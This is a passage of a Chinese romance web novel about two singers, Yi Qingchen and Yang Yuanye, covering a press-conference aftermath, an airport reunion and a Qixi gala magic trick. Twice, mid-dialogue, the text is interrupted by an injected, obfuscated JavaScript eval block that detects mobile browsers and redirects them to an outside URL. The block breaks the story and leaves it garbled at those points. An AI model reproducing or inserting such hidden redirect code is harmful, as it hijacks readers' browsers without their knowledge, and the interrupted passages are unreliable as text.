郝圆满抱着小葵出现在发布会现场。曲柠医生也来了,精干的女医生真诚地呼吁社会关注罕见病,称赞这个和疾病对抗的家庭。她着重提到这些年杨原野的经济状况,她说: “流言比流感的蔓延速度更快。曾经的网络暴力让这个家庭陷入贫穷和困境,作为小葵的医生,我不想看见悲剧再次发生。” 现场的所有人都安静了。这显然是媒体们意料之外的。曲医生的话像给了所有赶来吃杨原野“人血馒头”的媒体一记耳光。 易卿尘站在人群中,一时间不知道如何处理这些信息,他无法选择某一种单一情绪来回应。 他从和杨原野的对视中抽离,转过身去,默默地从人群的背后逃离了现场。 外面雷声大作,闷了一天的大雨终于倾盆而下,冲洗着这个城市的良心。 易卿尘从背包里翻出一把雨伞,一个人撑开走进雨中。 他心知肚明,这样一个巨大反转后,杨原野会迎来何等补偿式的追捧。可一不可再,好人再次蒙冤,很长一段时间内应该都不会有媒体再敢轻易抹黑他了。 绝地反击,化险为夷,杨原野赢了漂亮的一仗。易卿尘应该为他高兴。 可他笑不出来,他觉得自己是个小丑。 他记得那天在满是泡泡的浴缸里,他对杨原野说:“阿野,要是你没结婚就好了。”如今想想,他真的太蠢了。那时候,杨原野就开始看他犯傻,像看一场猴戏。 他这两天为杨原野忧心,夜不能寐,食不知味,甚至想到去求楚言帮忙。他穿过大半个京北去见他,以为他要轻生,吓得三魂没了七魄。而杨原野就那么看着他,没有提前透露一个字。 最终,他和全世界一起知道了真相,没有早哪怕一秒钟。 他在他的心中,什么也不是。 63.063 哄我 看着易卿尘中途就离开了,杨原野当即慌了神。他本意是想给易卿尘一个惊喜,可效果和预期不符,易卿尘怎么没为他激动落泪,反而走了呢? 在发布会现场,杨原野被媒体长枪短炮地问了一个半小时。好在记者们见风使舵,都变得宽和友善,问题也只是探究他和他家人的内心世界。 终于结束后,他让姬波帮忙送曲医生还有郝圆满她们回家,自己则第一时间跑到走廊打电话给易卿尘。 “喂?”易卿尘接电话的声音很平淡。 “你,你怎么提前走了?” “我饿,去吃饭了。你那边结束了?”声音从平淡变成了冷淡。 “结束了。”杨原野急切地问,“我现在去找你?” 电话那头,易卿尘在轻哂,反问道:“你找我做什么?” 做什么?做你男朋友啊。我距离成为你男朋友不是就差“单身”了? 杨原野用手抠墙皮,听着易卿尘嘲讽的问话,语气也滑了下去,“……你不想见我?没有话跟我说吗?” “我和你有什么好说?……哦,别说,还真有一句。” “什么?”杨原野紧张得把墙抠出两室一厅。 “恭喜你,最佳男主角,你不演戏可惜了。下次有机会再给你庆功,听听你是怎么想出这样的高招儿,我现在还有事要忙,再见。” “……” 电话挂了。 不一样。杨原野懵了,和他设想的全不一样。操。 他精心设计了好几天的“掉马”重场戏,还特意加强了仪式感,站在天台拉满了期待值,没想到结果—— 这个鸟样。说好的反转带来爽感呢? 一只黑不溜秋的乌鸦叫了两声,从头顶飞过。 易卿尘挂了电话,坐在玻璃窗前的座位里,望着外面倾盆的大雨。面前的咖啡已经凉透了,可雨却没有要停的意思。 他心里乱得凄凉。 一辆出租车驶来,停在咖啡店门口,一个男人下车撑起一把伞,冲店内的女孩挥了挥手。易卿尘听见女孩对她的同伴说道:“就是他,天天围在我旁边,还以为自己多重要,真幼稚。” 同伴笑出声来,说道:“哪天啪啪打脸,才能摆正位置。真是苦了你还要应付他。” 女孩一边收拾包,一边挂上一个腼腆的假笑,冲门口的男人招手。离开前,压低声音对同伴说:“玩玩而已,生活无聊嘛。毕竟,他身体不错~” 易卿尘看着貌合神离那对男女,扯了扯嘴角。 等到啪啪打脸,才能摆正位置。真是没错。 易卿尘的裤腿湿了,被咖啡店的空调一吹,冰冷地贴在脚踝上。他低头看了一眼手机,智能门锁的app跳出来提醒他,该给密码锁换电池了。易卿尘点进app,顺手便将大门的密码换掉了。本来就是几分钟的事情,不知道自己之前怎么就拖到现在。 胃酸,闷痛。易卿尘要立刻做些什么,停止这种坏情绪的泛滥。 吴芷静帮他接了一个影视OST,A级仙侠古偶剧,缠绵的抒情古风,可惜他白天怎么都进入不了状态。这会儿,易卿尘给录音棚的老师发了条消息,对方人很好,恰巧是个夜猫子,于是易卿尘便叫了个网约车,回到了位于四惠东的录音棚。 录音师已经将古琴、古筝、竹笛、和声的音轨都录好了,还进行了初步的混音。易卿尘这次不用弹琴,不用写歌,只要唱好就行。毕竟没有S/S+大剧的高热度,A级剧想借一点儿歌手的流量。 随着《中国唱作人》比赛的播出,易卿尘的人气便一路飙升,他清新脱俗的长相以及歌曲风格最适合给古偶剧演唱OST,除去这一部,后面还有好几首OST都向他发出了邀约。 易卿尘先将完整的歌曲录了几遍,然后又对某些乐句和段落进行了逐句地重录、修饰和打磨。这次,他完全进入了工作状态。一直到第二天早上五点,整首歌算是录制完成。等整个后期制作好,他还会再进棚配合拍歌曲MV,但那都是月底的事情了。 和录音师一起吃了个肯德基外卖早餐,易卿尘就打车回家了。 手机里有杨原野的两通未接来电,易卿尘只是简单地看了一眼,就点了删除。 博博发来消息,说中午12点,他和陆师傅会在小区门口接他。易卿尘这才想起来,他今天要去上海。 他是ITO品牌腕表这一季的代言人,该轻奢品牌最主要的受众是金融精英,这次的新款月相大师系列腕表将在陆家嘴IFC商场全国首发,易卿尘作为代言人要在现场站台。就在今晚。 易卿尘走到门口,按了两次大门密码,都是哔哔哔的错误提示音。他这才反应过来,他昨晚已经把杨原野的生日密码换掉了。 门口地垫上多了些零星散落的烟灰,易卿尘皱了皱眉,重新输入了正确的密码,便进了屋。 洗完澡,易卿尘又练了几个小时琴,才窝在沙发里小睡了一下。他睡得不踏实,意识里,他好像没睡着,只是闭着眼睛躺着。但当手机闹钟响起,他似乎又是从睡梦中被叫醒似的。醒着和睡着中间好像有个夹层,易卿尘从夹层中起身。 易卿尘埋首掌中,使劲搓了搓脸颊。他看向窗外,对面高层的玻璃反射着正午的阳光,很是刺眼。易卿尘想起那天,他眼睛刚拆了纱布,大家都来看他,坐在客厅谈笑。 也是这样的阳光,射进他的眼睛给了他一瞬的视力挑战,模糊中,他看见杨原野看向他的眼睛里有似水的柔情,和看其它人都不一样。 易卿尘哑然失笑,他真佩服这自作多情的想象力,明明是光污染,却被他看成了类似情感的东西。 杨原野喜欢过他吗?也许有过的吧。他从未说过喜欢他,只说过恨他。刚重逢的时候,杨原野说恨过他,是恨”过”。他当时暗暗难过了很久,不是因为“恨”这个字,而是这个过去时的时态。 有人说恨是爱的反义词,可易卿尘觉得,恨就是爱本身。 直到昨天发布会那一刻,他终于明白,自己对于杨原野来说没有任何特别之处。甚至不值得信任,不便分享家事,遑论托付秘密。 他是个可有可无的人。 命运的安排密不透风,他没那个运气,一切都是注定的。所谓“先注死,后注生,三百年前定婚姻”。 易卿尘忽然很累,不想再和命运痛苦较劲,他简单地收拾了一下思绪和行李,动身去了上海。 到了上海当晚,行程很紧,就连吃晚饭的时间都没有。好在腕表发布现场人气很旺,作为代言人的号召力算是立住了。 本来第二天就可以回京北,可易卿尘不想回去,他又在上海待了几天。吴芷静给他联系了个专业的studio,他整日待在里面,一心把下一期比赛的歌曲专心打磨好。 老是嫌自己不够忙,他改编了三个不同版本的《爱很简单》发给鹿曼曼和音乐总监,这敬业程度把合作方都给感动懵了。鹿曼曼和他开了几次视频会议,最终敲定了编曲。 “易卿尘,你太厉害了,我已经准备好震惊全场了!”鹿曼曼无比期待七夕那天的正式演出。 “震惊全场也不至于,预祝咱们合作成功。”易卿尘没想震惊全场,太过震惊的,准没好事儿。 最初的两天,杨原野给他打过几次电话,都恰好在忙没接到,后来也就没了联系。易卿尘觉得自己也许可以放下杨原野了。 在上海的几天他忙成狗,可还是常常不困、睡不着,夜晚走路回酒店,忍不住踢路上的石子,易卿尘心里空 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易卿尘抬手指着电视:“他。” “哇!不愧是易老师……” 《中国青年》播完了,现在电视里正在演广告,趣乐牌宠物食品,屏幕上一条大黑狗坐在公园门口,伸着健康的肉粉色舌头。 单身狗和单身狗一起过七夕,绝配。 易卿尘沉着张脸,和博博还没走出VIP休息室,就在门口碰上了一行人。走在最前面的是楚默,一头银发往后拢着,身旁跟着黑超遮面的江琳达。楚言也在其中,一身笔挺的西装,正略略躬身低头和一个年长者说着话。 江琳达先看见易卿尘,冲他招招手。 易卿尘客套地点点头。 楚言随即抬头看向这边,一瞬间,眼里的喜悦是那么浓:“小尘,你也回京北?”边说边走过来,拿过博博手里的登机牌,未等易卿尘开口,便提议道:“改签吧,和我一同回去。” 易卿尘夺过登机牌,脸上挂着一眼假的笑容,话语简单明了:“不了,我要赶回去彩排,不能迟到。楚总,再见。” 身边的人都看向楚言,一旁的长者露出惊讶的神态。 易卿尘微微欠身,转身便离开了休息室。 博博看出楚言表情不爽,连连顿首,帮着易卿尘转圜:“不好意思楚总,易老师他……他今天牙疼……” 看见楚言碰了钉子,楚默似笑非笑地凑近了,语气轻佻地说:“四叔公,我就说我哥越来越软了,你还不信?连小巴狗都能骑到他头上了。” 一旁的长者尬笑两声,把手按在楚言手上:“小言,别学你妈一样。” 闻之,楚言脸色一沉。 但楚默的脸色却更难看,眼里是淬着毒的箭。 飞机舱门即将关闭,一位男士稳步从廊桥走来,不急不徐,进入机舱后,径直走向易卿尘。博博见状赶忙站起身,将座位让出来,自己去到后一排。 艺人助理一般都是坐经济舱的,博博本来很开心今天可以升舱,可这么一看,他还不如平平安安坐在经济舱呢。CEO和偶像都不是很高兴的样子,气氛一触即发,他看着两人后脑勺,如坐针毡。 “你不改签,就只好我改签了。”楚言看着易卿尘,眼神冷峻充满压迫感,话里带着责备。 易卿尘头皮开始发麻。他之于楚言,是掌中之物。楚言手上有他七年的经纪合约,知道他所有的过往经历,他的家庭底细,包括易小雪的住处。 易卿尘就像一条身不由己的鱼。从渝州开始,楚言就一直在垂钓。一旦哪天没了耐心,随时可以把他捞上来,开膛破肚。 64.064 接机 美丽的空姐躬身为他们斟上白葡萄酒,这是只有头等舱贵宾才能享用的。易卿尘没兴趣,碰也没碰。 一路无言,楚言用平板处理公事,易卿尘则戴着耳机睡觉。快落地京北时,空姐叫醒了他,提醒他调直座椅靠背。 头顶的空调吹得他又冷又干,一小段航行就使得嘴唇干裂,易卿尘伸出舌头舔了舔那唇上细小的裂口。 “空调吹多了确实容易干燥。”楚言抬手帮他扭闭了头上的空调,温文尔雅,对他保留了最大程度的耐心与克制。 易卿尘下意识地别过脸去看向窗外的云层。他虽然怕楚言,此刻却也不想理他。 见他臊眉耷眼的样子,楚言很淡地笑了声,问:“怎么了?像是在生气?” 易卿尘不响,继续望着窗外。 “你想生气就接着生。”楚言说,“这还是你头一回对我生气。” 说着楚言嘴角不自觉地上扬,小兔子忽然亮出白牙,一副要咬人的样子竟然比温顺的兔子更令他兴奋。 “……” 飞机下降,空气压力的骤变导致一些“压耳”感,易卿尘使劲吞了一口口水,看起来好像他对楚言的话反应很大似的。 楚言的笑意更加明显,凑近了些,对他说:“下次不要在外人面前那样拒绝我,我会很没面子。可以单独跟我讲,私下说。” 易卿尘无言以对,近距离看着楚言。 “怎么不说话?气性这么大?”楚言的语气里充满狎昵。 易卿尘张了张嘴,觉得自己再不说话,就真的太像在和恋人赌气,“我没生气,只是有病。” “什么病?” 易卿尘解释:“脑子坏了,不传染。” 易卿尘确实没有生气,只是情绪不高。他永远不会对楚言生气。 生气是种很私人的情感。 他只生杨原野的气。那个混蛋王八蛋,他不接他电话,他就不打了,真差劲。 飞机平稳落地,滑翔了十分钟后,机上广播开始报告外面天气、温度以及行李转盘信息。 楚言和易卿尘并排走出行李大厅。到达口的自动感应玻璃门打开,接机的人们站在银色栏杆后面。在一众或平静或期盼的目光里,易卿尘陡然看到一双深邃而熟悉的眼睛。 那是一双追他魂、索他命的眼睛。 易卿尘特意离开京北,就是为了避开这双眼睛。他希望再见面时,他已经可以坦然、可以潇洒、可以放下…… 到达大厅只有一条出口通道,易卿尘继续往前走着,离那双眼睛越来越近。行李箱的轮子在地上轱辘轱辘响,伴奏似地。他的心乱作一地。 大脑一片空白,眼前只看得见杨原野一个人,人群不复存在。 心情波澜起伏,带着种奇特滋味的快乐。仿佛一颗多日浸在深海的心,突然被捞了起来,晒到了阳光,表面是析出的盐粒,咸咸地昭示着委屈,心里却暖了。 易卿尘终于发觉,这些天,他只是在生杨原野的气。而看见杨原野的一刻,他就不气了。 他爱他,不管杨原野为什么出现在机场,和他有没有关系,杨原野不需要说一句话解释,他都会为他而激动。这事情没有道理可言。 他躲去上海,什么也没想通,没看淡,没放下,更没少爱他一分。 几天不见,他很想他。 哦,他终于记起来杨原野未婚单身,他可以肆无忌惮地想他了。 此刻的易卿尘像一只翅膀受伤的小鸟,正在掉下来,希望掉进阿野的怀里。 当他终于在杨原野面前站定,刚拉扯出一个口型,一旁即刻响起楚言防备低沉的声音: “是你?你怎么在这儿?” 说着话,楚言的手很自然地揽住易卿尘的肩膀,易卿尘心中一紧,清白无辜的眼睛望向杨原野。 那束洁白的目光扯松了杨原野坚固的表情,他略一垂眸,再又抬起视线落在楚言身上时,已是一派礼貌和从容:“我来接个人,真巧啊,楚总也在。” 楚言笑笑,“嗯,真巧。你慢慢等吧,我们就先走了。” 杨原野点点头:“楚总再见,但我要接的人,得给我留下。” 楚言的太阳穴突跳,脸色登时转为铁青。 杨原野才不管他,漾出一道散漫又温暖的笑容,径直朝易卿尘伸出手,理所当然地说:“咱们走吧!你可算回来了。” …… 在楚言寒冰似的目光中,易卿尘把手送进杨原野的掌心,接着,脑袋发热地随杨原野一路往停车场走去。 先前被激动的情绪染透了,走了半天,出了电梯才想起来问:“你怎么知道我今天回来?” 杨原野的脚步停住了,拉住易卿尘往边上站着,像是要说什么话,以免阻碍交通。 “我在你粉丝群里蹲到的航班信息。可惜里面真真假假的,消息太多,我也分不出,只好都信。这已经是我今天第二次来机场了。昨天来了三次。前天也来过。” 刚平息的心跳又变得很快:“你是白痴吗?你可以打电话问我啊……” 杨原野一声喟叹之后,脑门上的黑线加深了:”打电话?易卿尘,别告诉我你自己不知道你又把我拉黑了。” “啊?有吗?” “家里大门的密码也换了,电话打了两次之后也打不通了。要不是我心理素质够硬,现在恐怕你只能去停尸房认领我了。” “什、什么呀?” 易卿尘尴尬地掏出手机一看,还真是,yyy又被关在黑名单里了。也不知道是什么时候拉黑的,许是经常盯着yyy的对话框看,误触了? 这叫什么事儿,害得他在上海已经想好了和杨原野老死不相往来的200页剧情了。 等等,老死不相往来的话,哪里需要写200页?偷偷想的分明就是他如何暴打杨原野之后,俩人再这样那样199夜。页。 易卿尘脸红着,低下头,嚅嗫道: “唔,我也不知道什么时候误触的。” 看他那副神情不像撒谎,杨原野心头一喜,眉毛舒展开,忍不住确认:“真的?那件事你不生我气了?” 易卿尘是最好哄的,看杨原野天天跑机场等他,心软得一塌糊涂,但又死要面子。 见杨原野又提了发布会的事,他故意板起脸,狠狠瞪了杨原野一眼:“以后你的事我才不管。” “别啊,你不管我的事,那你还想管别人?那个楚总有私人助理和秘书,用不着你管。你只能操心我。” 杨原野一边说,一边拿脑袋蹭他的肩膀。 “干嘛?这里是公共场合,你可是公共人物。”易卿尘害羞地推开他。 杨原野眼睛一转,在他耳边开始念经:“公共场合,公共人物,公共假期,公共产品,公共公公公公公公公公——” 咦?怎么一下子好像卡带了? 易卿尘皱皱着眉头疑惑道:“老公什么啊?” 杨原野突然一个坏笑,喊了声:“哎。” “……滚。” 易卿尘脸红到脖子根,甩开杨原野一个人哐哐往前走,杨原野歪头笑着从后面小跑两步跟上了。 走到一辆车前,杨原野一按车钥匙,面前的宝马3系的车灯亮着哔哔两声。以他如今的财力自然买得起更好的车,但他已不是纨绔少爷,好日子、苦日子都过过,就把这些都当成了王八蛋。 杨原野走到副驾驶车门旁,车钥匙绕着食指转了一圈,飞向了易卿尘。易卿尘伸手接住钥匙:“干嘛?” “你开开试试。”杨原野冲他抬抬下巴。 易卿尘愣了两秒后,不太自然地笑了笑,“你这又不是什么豪车,还好意思邀请别人试驾。再说了,你来接我,怎么还让我自己开车?” 杨原野盯着他观察了几秒,问道:“从实招来,你上一次开车是什么时候?” 还是没瞒得过,刚说的那些是借口。 “……科目三。” 杨原野憋笑,“有本儿就行。”说着,已经打开副驾驶的车门,屈着一双长腿坐了进去。 易卿尘花了好半天调座椅、调空调、调镜子,低头研究哪儿是哪儿,右脚松开刹车前,他问了最后一句:“上保险了吧?” 得到了肯定答案后,他深吸一口气,冲右边莞尔一笑,说道: “杨原野,上路了!” - 今天是鹿曼曼第一次见易卿尘,彩排完正好晚上十点钟。 她对易卿尘的印象简直太好了——这个人精通乐理,唱作俱佳,彩排特别顺利,出来的效果也让鹿曼曼非常惊喜。 他喜欢易卿尘,最重要的原因是,易卿尘让人心情很好。一张脸俊俏琳琅,很有耐心,总是在笑的。 临别时,鹿曼曼问易卿尘:“你一直这样吗?” 易卿尘:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13091680|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎样?” “开心。” “哈哈,”易卿尘笑意晏晏,“也没有很开心了,我刚才来的路上还撞车了呢。” 鹿曼曼震惊,继而佩服不已。性格决定命运真没错,活该他红。 - 七夕到了,喜鹊准备好了,杨原野准备好了,易卿尘却没准备好。 《中国唱作人》官方微博卡在早上七点零七分发布了主题宣传视频。六位晋级的唱作人每个人一句话,拼在一起,两人一组,甜蜜庆七夕。 段朗星拿开挡在镜头上的手,“他们说,我是最亮的星。可遇见你,我才第一次见到宇宙。” 小花江琳达甩了甩如瀑的长发,“他们说,我是最美的花。可有了你,我才第一次浪漫绽放。” 向荣大哥操着粤语,“我中意你,唔系情话,系心里话。” Rapper沈世豪摘下墨镜,“没有单押,没有双押,只有我爱你呀。” 杨原野背着吉他,对着镜头歪头一笑,潇洒又深情:“今天七夕,亲爱的,你愿意和我一起吗?我是说,此后每一个七夕。” 易卿尘站在鹊桥上,衣袂飘飘,眸中碧波荡漾:“我的答案是,我愿意。” 这一波15秒小视频,靠着最后五秒卖腐剪辑,收割了一大波流量。《唱作人》官博被[野尘]CP粉捧上神坛,下面一群粉丝拜天地,吹喇叭,焚香敬茶又祭祖的,俨然已经给两位操办起了婚礼。 [今天是个好日子,心想的事儿都能成!] [今天是个好日子,心想的事儿都能成!] [今天是个好日子,心想的事儿都能成!送入洞房!] [今天是个好日子,心想的事儿都能成!楼上注意保持队形!] [今天是个好日子,心想的事儿都能成!] …… 易卿尘拿着平板的手一个不稳,那么大一个板子,摔到地上,差点把地板砸出一个坑。 还真是个大坑。 导演不是说,只是“愿意和观众朋友过七夕吗”?套路!一个单纯的27岁男人,又被套路了。 “这剪的什么乱七八糟的!”易卿尘脸烧得通红,气急败坏地跟博博吐槽。 博博捂着嘴乐:“易老师,你不知道,你和小野哥的拉郎配视频在字母站上火得一塌糊涂,都说你俩超有CP感。啧啧,还有AI换头的,尺度可大了。” 易卿尘没管住手,点进去看了几个之后,只想把一对眼珠子挖出来,紧急火化了。 “刺激吧?”博博一脸坏笑。 “嗯,太刺激了。” 易卿尘听完那些虎狼之词,脑袋直冒烟。况且他在视频里也过分主动了吧!□□得哭哭啼啼,事后还要,像个饿鬼……他是没吃过饭吗? “易老师看开点儿,至少我知道你和小野哥绝对是清白的。” “……啊……呃……”易卿尘心虚的抠手。 做过,能算清白吗? 易卿尘不太喜欢这个七夕的打开方式。 好在还有企鹅视频七夕晚会可以期待,易卿尘中午就去了现场做妆造。按照流程,和鹿曼曼先走位彩排一遍,等舞群准备好之后,再合第二遍。 鹿曼曼今天彩排状态比前一天要差,时不时一脸欲言又止地看着易卿尘。 易卿尘彩排十分认真,还让博博给录了视频,下来之后逐句听,看有什么可以改进的。 距直播开始仅两小时。工作人员开始给台下的座位贴名牌。不演节目的时候,明星们要坐在现场看节目,镜头时不时地会扫过。 舞群已经就绪,但导演组迟迟没来叫他去彩排,易卿尘站在台下干等了四十多分钟,才见到导演和鹿曼曼一起走了过来。 导演也一副难以启齿的表情。 “导演,是有什么问题吗?”易卿尘问道。 “小易啊,实在对不住,一会儿曼曼得跟别的男歌手合唱,你就可以先休息了啊。” 导演说的他听得懂,他最后一刻被人换掉了。他虽然听得懂,但却接受得慢。这首歌他花了太多心血改编,前前后后练了几十遍,一直梦想能有机会和鹿曼曼合作,激动了很久……没想到,到头来一场空。 “卿尘,咱们以后有机会一定会再合作的。”鹿曼曼是发自内心的惋惜。 易卿尘不甘心,追问道:“为什么把我换掉?我能知道原因吗?” 65.065 魔术 导演还是那副欲言又止的样子,说着“制片人有安排,为了节目整体效果”之类虚伪的场面话。最后补充道:“虽然歌不用你唱,但是得在观众席观看晚会,这个签在合同里了,也会有镜头的。” 易卿尘面无表情地懵然站着。 导演走了,鹿曼曼走过去,担忧地问:”你是不是得罪什么人了?不让你上台,还逼你在下面看着,哪有这样的?像是有人要给你立规矩似的……” 得罪人? 易卿尘立刻想起昨天,在机场,他不管不顾地跟杨原野走了,楚言那隐而不发、但锋利的眼神。 他觉得一阵晕眩,一天几乎没有吃东西,可能低血糖又犯了。来不及回后台,易卿尘径直走向观众席。他一眼就看见了贴着他自己名牌的椅子,于是快步走去坐下。 易卿尘调整着呼吸,倚着座位。他惹得楚总生气,人家教训他,本就是应该的。他若焦急跳脚,别人就真当他是条小巴狗,逗弄得更起劲儿了。 既然要给他立规矩,他便立正挨打。 他只能做楚言的艺人,做不了他的情人。要杀要剐,悉听尊便吧。 不经意地缩了缩脚,鞋子碰到个物件。易卿尘弯下腰,竟发现他的座位下面有一个淡金色的盒子,手掌那么大。 易卿尘打开盒子,是一个巧克力。四方的巧克力盒子放在金色盒子里,包装上印的黑色巧克力做成玫瑰花样式,上面缀着金箔。 他正好低血糖犯了,胃不舒服加头晕,急需吃些东西,让身体机能恢复运转。想必这个是给参加七夕晚会的嘉宾的小礼物,既然放在他椅子下面,就是给他的了。 易卿尘一股脑地拆开包装,将金箔玫瑰花巧克力囫囵吞入口中。 据说糖分可以治疗失恋,希望也能治疗失意。 头脑还处于震惊中,谁知一回到后台,易卿尘竟和段朗星撞上了。平日里对他不怀好意的人今天竟然主动走向他,笑嘻嘻地问道:“易老师,怎么了?脸色这么差?” 易卿尘刚想说句“谢谢关心我没事”搪塞过去,便听段朗星紧接着噗哧一声笑,“不会是被换角,受不了要晕倒吧?真不至于,以后习惯了就好了。” 说完,甩甩手,哼着小曲儿走了。 易卿尘紧抿嘴唇,身体气得打了个抖。身边一群穿红着绿的舞者纷纷路过他,像一朵朵盛开的鲜花,衬得他更是一副惨样。 今天上班倒大霉,从早到晚没一件顺心事,易卿尘觉得自己和七夕命格犯冲。唯一感谢剧组的免费巧克力,让他还健在。 夜幕西沉,七夕晚会开始了。 易卿尘一身白色西装坐在观众席,看着那些节目,淡而无味。 很快就到了《爱很简单》,前奏响起,用的仍是易卿尘做的那一版前奏。蓝调布鲁斯,港台早年译为“怨曲”,像恋人间忐忑猜心时的幽怨。节奏很简单,但有韵味,配在这首R&B歌曲里非常有气质。 可惜了,男歌手一开口,过分直白干瘪的唱腔,把格调全毁了。 易卿尘打从心眼里不屑,余光一瞥,远处的摄像机正捕捉着他的表情。心思一转,他搭下眼梢,故意流出来些惨淡,他猜想,电视机前的楚总怕是正等着看他的反应。 不好驯服的小兽,才更能激起强者的占有欲。他都明白,所以他决定扮演懦弱,一个软趴趴的二等货色,请对方对自己尽快失去兴趣。 又过了好久,易卿尘坐得累了,注意力也不集中。这几天缺觉,他想打哈欠,但是摄影机在拍,他只好假装咳嗽,捂嘴混过去。 台上开始表演魔术。易卿尘不太爱看魔术,大概是因为魔术都是假的,故意让人惊讶的初衷就很做作。 被请上去的女观众打开纸卡,里面写着她的生日,魔术师怎么知道她的生日呢?她惊得捂着嘴、瞪大眼,直“哇塞”。易卿尘跟着观众一起鼓掌,心说,这女的肯定是托儿。 接着助手推上台一个长方形的大盒子,打开展示,里面是空的。魔术师把蓝丝绒布盖在盒子上,左转右转,音乐故意营造得十分紧张。易卿尘猜想,再打开,里面就是个活人跳出来,然后他又该鼓掌了。 果然,盒子被从下到上打开,一双笔直的长腿慢慢呈现在观众面前,不用露头,都知道是个标准的大帅哥。在看到变出的活人露出一张脸时,易卿尘竟也惊得捂嘴瞪眼,和刚才那女观众一个模样。 信不信,他忽然觉得魔术是这么神奇。 杨原野随着魔法从天而降,和魔术师牵手鞠躬亮相,台下掌声如潮。易卿尘一时忘了鼓掌。 主持人上台采访杨原野和魔术师。风趣的主持人,一语双关道:“小野应该是是最懂魔术的了,毕竟‘无中生有’见过太多次了!” 杨原野笑说:“是,见得多了,我都会表演魔术了。” 主持人:“哦?那给我们露一手?” 魔术师递给杨原野一个金色的盒子,对着镜头打开,里面是一只活的黑色沾蓝绿光泽的喜鹊,衔着一支娇艳的玫瑰花,扑腾着翅膀。杨原野接过盒子,盖上绒布,对着盒子作手势,然后轻轻一掀绒布,盒子竟然空了。 易卿尘看得津津有味,直到他听见杨原野说:“我把它变到一位观众的座位底下了,请大家找一找。” 座位底下……!! 完了…… 他好像……把道具吃了。 易卿尘大脑里警铃大作,喜鹊衔着的玫瑰花变成了玫瑰花巧克力,早在几个小时前就被易卿尘吃进肚子里了,那个盒子里现在只有一堆垃圾包装纸。 他慌了。都怪杨原野,怎么事先也不跟自己打声招呼,这可是最大视频平台的直播晚会啊! 今天出门没看黄历,他没想到自己竟然也是个魔术托儿。 周围人都俯身看向座椅下方,只有易卿尘没有弯腰。和杨原野目光交汇的一刻,他更肯定了自己的猜想。现在他要做个决定,是不是要拿出那一堆垃圾糖纸。不管怎么做,这个魔术已经失败了。 观众席愈发安静,大家都在等着那个幸运儿举手。 易卿尘他调动所有的脑细胞,试图想出一个幽默的高招化解这一尴尬。 但是没有时间了。易卿尘决定先站起来,不能让场子继续冷下去了,不然就变直播事故了。 他颤颤巍巍刚站起了半个身子,却忽听远处一道雄浑的男声——“在这儿!” 一位男性观众举起一只和台上一模一样的盒子,站了起来。盒盖被打开,然后,在一片欢呼中,喜鹊衔着玫瑰花飞向了舞台,落在主持人的肩头。 身后的大屏幕变幻出鹊桥的背景,七夕快乐! 全场掌声雷动。 易卿尘半曲着腿,以一种非常尴尬的姿势定格住了。原来,托儿另有其人? 他作势拉了一下衣服的下摆,又假装整理裤子,坐回座位。一旁的女明星好奇地打量着他,他只能尴尬地笑笑。 他又自作多情了一把,幸好这次只是自作多情。 后面的节目演的什么,易卿尘全然不知,一脑袋浆糊。临近尾声,一个歌曲节目即将开场,灯光被调暗了,易卿尘趁机蹲下,拾起座位下的盒子,偷偷溜出了节目现场。 易卿尘掏出手机,上面是杨原野刚传给他的消息:【来找我吧】 他回道:【你在哪儿?】 杨原野立刻发来一个实时定位。 演出场馆后面有一大片草场,往里走是一条小径,通往湖墅湿地。易卿尘看着手机地图上,自己离那个红色的大头针越来越近。 直到他和大头针完全重合,易卿尘已经站在了湿地的入口,木栅栏挡住了去路。一盏路灯似有若无地亮着,气氛阴森。 杨原野忽然从一旁树丛里冒出来,易卿尘鬼叫一声,吓得差点跌倒。他这一整天,简直要被吓出心理阴影,气得他直接一拳锤在杨原野胸口,拳头被对方的大手紧紧攥住了。 “饶命饶命,是我。” “你跑这么远来干嘛?”易卿尘嗔怪他。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113584|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见杨原野从兜里掏出一小把手持烟花,晃了晃:“要玩儿吗?” 这玩意他小时候玩过,总让他想起养父还在的时候,温暖的大年夜。易卿尘兴奋地点点头,伸手要去拿烟花,又看见手上那个巧克力盒子。 “等我把这玩意先放下。”说着,易卿尘弯腰把盒子放到地上。 “这是什么?”杨原野问。 “别提了,一个乌龙。待会儿再跟你说。” 易卿尘接过烟花棒。 杨原野用打火机先把自己那根点着了,烟花喷出星星状的火焰,易卿尘把自己的那根凑过去,借着火点着了。 冷焰火很安全,也很安静。每一根可以燃烧9秒,但却释放出180亿个火焰,比银河系的星星还多。 手里一根一根的烟花相继被点着,一簇簇火光照亮他们的脸颊,不刺眼,很温暖。 星光点点的火焰映在杨原野漆黑的瞳仁里,流丹飞溢,是世界上最小的火树银花。 所有的烟花都燃尽,他们便倚着木栅栏静静地看远处的湿地,黑黢黢一团,什么也看不清,但可以闻到泥土、植物、火药和夜晚的气息。 “你今天那个魔术差点儿害我出洋相。”易卿尘说。 “怎么会?” “不知道谁,在我椅子下面放了一个盒子,我差点以为是你让我当托儿呢!”易卿尘捡起地上的盒子拿在手里。 “噢,”杨原野瞥了一眼他的盒子,“你这里面是什么呀?” “垃圾。”易卿尘悻悻地说,“本来是一个巧克力,被我吃了。现在里面只剩垃圾。当时可把我吓坏了!总不能站起来说,我是托,可我不知道,道具被我吃了吧……哈哈,幸亏是个大乌龙。” 